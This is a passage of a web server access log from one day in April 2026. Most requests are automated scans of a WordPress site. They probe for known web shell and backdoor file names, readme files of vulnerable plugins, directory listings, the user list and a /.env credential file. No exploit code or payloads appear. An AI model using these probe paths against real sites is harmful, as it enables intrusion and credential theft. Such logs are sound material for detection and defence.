"https://www.youtube.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0" 185.212.119.154 - - [18/Apr/2026:05:35:35 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 118.107.44.122 - - [18/Apr/2026:05:05:15 +0300] "GET / HTTP/1.1" 301 795 "https://www.bing.com/search?q=wp+security%!(EXTRA string=wp+security)" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 118.107.44.120 - - [18/Apr/2026:05:05:15 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/search?q=wordpress+site&oq=wordpress+site" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 118.107.44.116 - - [18/Apr/2026:05:05:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 118.107.44.122 - - [18/Apr/2026:05:05:37 +0300] "GET /wp-content/plugins/indeed-wp-superbackup/readme.txt HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0" 118.107.44.116 - - [18/Apr/2026:05:05:43 +0300] "POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1" 301 795 "https://search.yahoo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0" 118.107.44.96 - - [18/Apr/2026:05:05:43 +0300] "POST /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0" 118.107.44.89 - - [18/Apr/2026:05:05:25 +0300] "GET /wp-json/wp/v2/users/ HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 118.107.44.89 - - [18/Apr/2026:05:05:37 +0300] "GET /wp-content/plugins/essential-addons-for-elementor-lite/readme.txt HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.3.1 Safari/605.1.15" 118.107.44.76 - - [18/Apr/2026:05:05:43 +0300] "GET /wp-content/plugins/indeed-wp-superbackup/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 52.169.206.229 - - [18/Apr/2026:05:06:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 118.107.44.116 - - [18/Apr/2026:05:05:36 +0300] "POST /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0" 118.107.44.123 - - [18/Apr/2026:05:05:42 +0300] "HEAD /xmlrpc.php HTTP/1.1" 301 0 "https://www.youtube.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.4 Safari/605.1.15" 118.107.44.79 - - [18/Apr/2026:05:05:43 +0300] "GET /wp-content/plugins/s2member/readme.txt HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 118.107.44.79 - - [18/Apr/2026:05:05:43 +0300] "GET / HTTP/1.1" 301 795 "https://www.youtube.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0" 52.169.206.229 - - [18/Apr/2026:05:07:09 +0300] "GET /2468.php HTTP/1.1" 301 795 "-" "-" 118.107.44.96 - - [18/Apr/2026:05:05:37 +0300] "GET /wp-content/plugins/s2member/readme.txt HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0" 118.107.44.120 - - [18/Apr/2026:05:05:43 +0300] "GET /wp-content/plugins/wp-file-upload/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 118.107.44.120 - - [18/Apr/2026:05:05:36 +0300] "HEAD /xmlrpc.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0" 118.107.44.76 - - [18/Apr/2026:05:05:37 +0300] "GET /wp-content/plugins/wp-file-upload/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 184.174.33.10 - - [18/Apr/2026:07:16:03 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 184.174.33.10 - - [18/Apr/2026:07:13:18 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 182.42.110.255 - - [18/Apr/2026:08:41:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.84.111.146 - - [18/Apr/2026:07:08:12 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 43.166.226.186 - - [18/Apr/2026:08:49:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.86.78 - - [18/Apr/2026:09:35:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.241 - - [18/Apr/2026:09:46:54 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 194.26.192.241 - - [18/Apr/2026:09:47:09 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 194.26.192.241 - - [18/Apr/2026:09:47:18 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 94.198.40.118 - - [18/Apr/2026:11:57:55 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:33 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:58 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:13 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:13 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:12 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 134.209.47.144 - - [18/Apr/2026:10:20:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 95.66.138.21 - - [18/Apr/2026:11:07:51 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 68.221.134.82 - - [18/Apr/2026:11:42:48 +0300] "GET /class-wp-recovery-mode-key-service-add.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:50 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:53 +0300] "GET /astab.php HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:54 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:54 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:25 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:41 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:41 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:42 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:42 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:42 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:48 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:09 +0300] "GET /Hd.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:50 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:22 +0300] "GET /iiiihjwn.php HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:38 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:38 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:38 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:01 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:21 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:29 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:31 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:41 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:00 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:03 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:12 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:12 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:55 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:59 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:36 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:28 +0300] "GET /tentang_rmol.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:32 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:35 +0300] "GET /block-template-utils.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:37 +0300] "GET /14.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:39 +0300] "GET /update_with_pics.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:41 +0300] "GET /date-object.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:08 +0300] "GET /gool.php HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:57:45 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:02 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:56 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:15 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:17 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:03 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:45 +0300] "GET /w-1.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:55 +0300] "GET /bbh.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:28 +0300] "GET /ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:22 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:22 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:22 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:22 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:23 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:23 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:23 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:23 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 136.117.61.90 - - [18/Apr/2026:11:59:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 94.198.40.118 - - [18/Apr/2026:12:00:42 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:50 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:42 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:30 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:18 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:26 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:12 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:46 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:58:50 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:11 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:53 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:35 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:25 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:29 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:32 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:20 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:20 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:20 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:20 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:20 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:20 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:20 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:21 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:21 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:24 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:24 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:24 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:25 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:25 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:25 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:25 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:25 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:25 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:38 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:04:16 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 74.7.241.143 - - [18/Apr/2026:10:33:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 68.221.134.82 - - [18/Apr/2026:11:42:14 +0300] "GET /class-wp-pagebuilders-BDsjLk.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:34 +0300] "GET /wpputty.php HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:27 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:20 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:01:49 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:44 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:57 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:00 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:03 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 134.209.47.144 - - [18/Apr/2026:10:20:06 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 74.7.227.10 - - [18/Apr/2026:10:34:17 +0300] "GET / HTTP/1.1" 301 795 "http://www.domainwork.space" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 68.221.134.82 - - [18/Apr/2026:11:40:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:40:43 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:40:48 +0300] "GET /zxcs.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:40:51 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:40:54 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:40:58 +0300] "GET /shadow-bot.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:01 +0300] "GET /str_replace.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:16 +0300] "GET /maint.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:20 +0300] "GET /nosaSq.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:41:23 +0300] "GET /class-wp-oembed-beta.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:40 +0300] "GET /dodo.php HTTP/1.1" 301 795 "-" "-" 68.221.134.82 - - [18/Apr/2026:11:42:44 +0300] "GET /wp-post-data.php HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:11:59:46 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:00:10 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:04 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:02:49 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:35 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:45 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.118 - - [18/Apr/2026:12:03:45 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 173.252.70.5 - - [18/Apr/2026:12:04:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.130.100.35 - - [18/Apr/2026:13:59:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.63.189.48 - - [18/Apr/2026:13:35:22 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 54.238.245.23 - - [18/Apr/2026:14:37:30 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 144.31.104.107 - - [18/Apr/2026:12:57:18 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 94.26.106.17 - - [18/Apr/2026:12:37:20 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 43.155.195.141 - - [18/Apr/2026:14:44:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.12.37 - - [18/Apr/2026:14:46:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 198.235.24.17 - - [18/Apr/2026:13:20:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 196.206.216.224 - - [18/Apr/2026:18:01:07 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.135.182.43 - - [18/Apr/2026:18:38:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.232.146.182 - - [18/Apr/2026:20:33:17 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.232.146.182 - - [18/Apr/2026:20:33:37 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 161.97.146.93 - - [18/Apr/2026:20:45:08 +0300] "GET / HTTP/1.1" 301 795 "-" 